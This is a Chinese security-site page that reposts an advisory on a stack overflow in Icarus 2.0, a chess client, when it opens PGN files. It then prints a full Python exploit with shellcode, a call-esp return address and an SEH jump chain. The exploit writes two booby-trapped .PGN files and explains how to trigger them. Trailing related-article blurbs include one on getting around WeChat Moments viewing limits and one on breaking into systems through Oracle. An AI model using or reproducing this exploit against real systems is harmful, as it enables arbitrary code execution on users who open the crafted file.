Icarus PGN文件处理栈溢出漏洞

访客3年前关于黑客接单525

影响版本:
Random Software Icarus 2.0
漏洞描述:
BUGTRAQ  ID: 34167

Icarus是在线国际象棋游戏Internet Chess Club所使用的界面。

如果用户使用Icarus打开了特制的Portable Game Notation(*.pgn)文件的话,就可能触发栈溢出,导致执行任意代码。<*参考
http://secuni *** /advisories/34368/
*>
SEBUG安全建议:
厂商补丁:

Random Software
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.randomly.com/apps/icarus/index-en.html
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
#usage: exploit.py
print \"********************************************************************\"
print \" Icarus 2.0 Local Stack Overflow Exploit\\n\"
print \" Download: http://www.randomsoftware.com/pub/icarus.exe\"
print \" Author : His0k4\"
print \" Tested on: Windows XP Pro SP2 Fr\\n\"
print \" Greetings to:\"
print \" All friends & muslims HaCkers(dz)\\n\"
print \" Tip of the day: Klimontayne fe romayne :D\"
print \"********************************************************************\\n\\n\"

    
payload1 =   \"\\x41\" * 336
payload1 +=  \"\\x5D\\x38\\x82\\x7C\" # call esp kernel32.dll (sp2)
payload1 +=  \"\\x90\" * 19 #some nops
payload1 +=  \"\\x29\\xc9\\x83\\xe9\\xde\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x38\"
payload1 +=  \"\\x4e\\xf9\\x9f\\x83\\xeb\\xfc\\xe2\\xf4\\xc4\\xa6\\xbd\\x9f\\x38\\x4e\\x72\\xda\"
payload1 +=  \"\\x04\\xc5\\x85\\x9a\\x40\\x4f\\x16\\x14\\x77\\x56\\x72\\xc0\\x18\\x4f\\x12\\xd6\"
payload1 +=  \"\\xb3\\x7a\\x72\\x9e\\xd6\\x7f\\x39\\x06\\x94\\xca\\x39\\xeb\\x3f\\x8f\\x33\\x92\"
payload1 +=  \"\\x39\\x8c\\x12\\x6b\\x03\\x1a\\xdd\\x9b\\x4d\\xab\\x72\\xc0\\x1c\\x4f\\x12\\xf9\"
payload1 +=  \"\\xb3\\x42\\xb2\\x14\\x67\\x52\\xf8\\x74\\xb3\\x52\\x72\\x9e\\xd3\\xc7\\xa5\\xbb\"
payload1 +=  \"\\x3c\\x8d\\xc8\\x5f\\x5c\\xc5\\xb9\\xaf\\xbd\\x8e\\x81\\x93\\xb3\\x0e\\xf5\\x14\"
payload1 +=  \"\\x48\\x52\\x54\\x14\\x50\\x46\\x12\\x96\\xb3\\xce\\x49\\x9f\\x38\\x4e\\x72\\xf7\"
payload1 +=  \"\\x04\\x11\\xc8\\x69\\x58\\x18\\x70\\x67\\xbb\\x8e\\x82\\xcf\\x50\\xbe\\x73\\x9b\"
payload1 +=  \"\\x67\\x26\\x61\\x61\\xb2\\x40\\xae\\x60\\xdf\\x2d\\x98\\xf3\\x5b\\x4e\\xf9\\x9f\"
junk     =   \"\\xCC\"*7000


payload2 =  \"\\x5B\\x46\\x6F\\x72\\x6D\\x61\\x74\\x20\\x22\\x4C\\x65\\x63\\x74\\x75\\x72\\x65\\x22\\x5D\"
payload2 +=  \"\\x0A\\x5B\\x54\\x69\\x74\\x6C\\x65\\x20\\x22\\x65\\x78\\x70\\x6C\\x6F\\x69\\x74\\x22\\x5D\"
payload2 +=  \"\\x0A\\x0A\"
payload2 +=  \"\\x41\"*788
payload2 +=  \"\\xEB\\x06\\x90\\x90\" # jmp +6
payload2 +=  \"\\xE9\\x10\\x37\\x01\" # universal pop pop ret
payload2 +=  \"\\x29\\xc9\\x83\\xe9\\xde\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x38\"
payload2 +=  \"\\x4e\\xf9\\x9f\\x83\\xeb\\xfc\\xe2\\xf4\\xc4\\xa6\\xbd\\x9f\\x38\\x4e\\x72\\xda\"
payload2 +=  \"\\x04\\xc5\\x85\\x9a\\x40\\x4f\\x16\\x14\\x77\\x56\\x72\\xc0\\x18\\x4f\\x12\\xd6\"
payload2 +=  \"\\xb3\\x7a\\x72\\x9e\\xd6\\x7f\\x39\\x06\\x94\\xca\\x39\\xeb\\x3f\\x8f\\x33\\x92\"
payload2 +=  \"\\x39\\x8c\\x12\\x6b\\x03\\x1a\\xdd\\x9b\\x4d\\xab\\x72\\xc0\\x1c\\x4f\\x12\\xf9\"
payload2 +=  \"\\xb3\\x42\\xb2\\x14\\x67\\x52\\xf8\\x74\\xb3\\x52\\x72\\x9e\\xd3\\xc7\\xa5\\xbb\"
payload2 +=  \"\\x3c\\x8d\\xc8\\x5f\\x5c\\xc5\\xb9\\xaf\\xbd\\x8e\\x81\\x93\\xb3\\x0e\\xf5\\x14\"
payload2 +=  \"\\x48\\x52\\x54\\x14\\x50\\x46\\x12\\x96\\xb3\\xce\\x49\\x9f\\x38\\x4e\\x72\\xf7\"
payload2 +=  \"\\x04\\x11\\xc8\\x69\\x58\\x18\\x70\\x67\\xbb\\x8e\\x82\\xcf\\x50\\xbe\\x73\\x9b\"
payload2 +=  \"\\x67\\x26\\x61\\x61\\xb2\\x40\\xae\\x60\\xdf\\x2d\\x98\\xf3\\x5b\\x4e\\xf9\\x9f\"
payload2 +=  \"\\xCC\"*7000

try:
    out_file = open(\"exploit_eip.PGN\",\'w\')
    out_file.write(payload1+junk)
    out_file.close()
    print \"Eip exploit File Created!\\nNow you can run this file directly\\n\"
except:
    print \"Error\"
try:
    out_file = open(\"exploit_seh.PGN\",\'w\')
    out_file.write(payload2)
    out_file.close()
    print \"Seh exploit File Created!\\nOpen Icarus then game>load and chose exploit_seh.PGN\\n\"
except:
    print \"Error\"


标签: 好话题

相关文章

微信朋友圈三天,半年可见怎么破解

想必很多人都遇到过这种问题,就是自己喜欢的某个人对自己只是显示三天可观看朋友圈。这就会导致我们非常的无奈,想多了解一下这个人的信息以及日常的生活状态,都没有地方可以查询得到。于是很多人在网上看到一些传...

四川省贸易学校“芦山纺织专班”开班记

金秋十月,丹桂飘香。10月16日上午,四川省贸易学校纺织专班学员、汽车工程系2020级学生、学校领导和来宾齐聚一堂,在藏茶学术厅举行“三方”共育产业人才签约仪式暨“芦山纺织专班”开班仪式。 大...

歌词是什么意思 翻唱《我和春天有个约会》的人是谁

电视剧男一号的于浩明和女一号的袁善山一起演唱。总的来说,很难超越原歌手,尤其是业余歌手和前强手歌手。...

一次通过 Oracle8i 入侵系统之旅

最近看了些有关 Oracle 的安全资料,看后随手做了一个渗透测试,把过程记录下来方便日后查阅.。先用 SuperScan4.0 扫描下要测试的主机,速度很快,结果如图 1 所示:图 1端口 1521...

中国移动手机客户端怎么查通话记录_腾讯科技

中国移动手机客户端怎么查通话记录l 手机主要就是用来打电话的,对于经常打电话的人而言,手机通话记录里会有各种号码,有些号码是有储存的,有些号码则是没有储存的,如果我们在使用手机的时候不小心删除了通话记...

火绒安全软件怎么样?火绒安全和360哪个好?

读完这个标题,一些网民可能会表示怀疑,为什么没有金山?请原谅我的近视。我周围的人比其他人更多地使用360名保安和QQ电脑管理员。金山使用较少,tinder是新一代安全软件。许多专业人士对火绒的未来非常...